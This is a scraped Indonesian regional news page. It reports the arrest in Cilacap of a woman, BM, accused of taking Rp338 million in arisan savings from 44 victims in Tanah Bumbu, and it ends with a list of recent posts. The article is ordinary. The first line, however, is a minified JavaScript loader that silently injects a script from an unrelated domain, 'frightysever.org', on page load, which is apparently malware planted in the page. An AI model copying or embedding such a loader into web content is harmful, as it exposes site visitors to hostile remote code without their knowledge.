(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Bawa Kabur Uang Arisan Rp338 Juta, BM Ditangkap Setreskrim Polres Tanbu di Cilacap


KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu melakukan pengejaran dan penangkapan seorang wanita terduga pelaku tindak pidana penipuan.

Pengejaran hingga akhirnya pelaku tertangkap di Desa Bulaksari, Kecamatan Bantarsari, Kabupaten Cilacap, Provinsi Jawa Tengah, pada Kamis (10/03/2022).

Pelaku adalah BM (38), warga Desa Manunggal, Kecamatan Karang Bintang, Kabupaten Tanah Bumbu. BM diduga telah melakukan dugaan tindak pidana penipuan dan penggelapan sebagaimana dimaksud dalam Pasal 378 KUHP dan Pasal 372 KUHP.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa yang didampingi Kasat Reskrim Polres Tanah Bumbu AKP Wahyudi Erfan kepada awak media, Minggu (13/3/2022) membenarkan pemburuan dan penangkapan wanita tersebut.

 

Baca juga : Gelar Rapimnas Fornas LKSA dan Anak Yatim se Indonesia, Ini Kata Bupati Tanbu

“Ya benar, Unit Resmob Satreskrim Polres Tanah Bumbu yang dipimpin Iptu Aditya Prabowo bersama anggota memburu seorang wanita yang melarikan diri ke daerah Cilacap usai menipu para korbannya,” katanya.

Pelaku diduga kuat telah melakukan penipuan dan penggelapan uang milik  44 orang yang menjadi korbannya dengan modus arisan, namun tidak dibayarkan.

Usai melakukan aksinya, saat wanita itu coba dihubungi para korban tidak bisa dan diketahui telah melarikan diri ke Cilacap.

Atas dasar laporan para korban tersebut, Unit Resmob Satreskrim Polres Tanah Bumbu Polda Kalimantan Selatan, melakukan koordinasi dengan Polres Cilacap dan melakukan penangkapan terhadap pelaku.

Dugaan sementara para korban mengalami kerugian kisaran Rp 338 juta.

 

Baca juga  : Toko Modern Jual Migor Paketan di Banjarbaru, Wakil Rakyat: Warga ‘Dipaksa’ Beli yang Bukan Kebutuhan

Kini Unit Resmob Satreskrim Polres Tanah Bumbu, sedang dalam perjalanan menuju Tanah Bumbu membawa pelaku guna proses penyidikan lebih lanjut.

Pelaku akan kita jerat dengan Pasal 378 KUHP dan Pasal 372 KUHP tentang penipuan dan penggelapan dengan ancaman hukuman penjara selama empat tahun. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

29 menit ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

39 menit ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

52 menit ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

3 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

4 jam ago

This website uses cookies.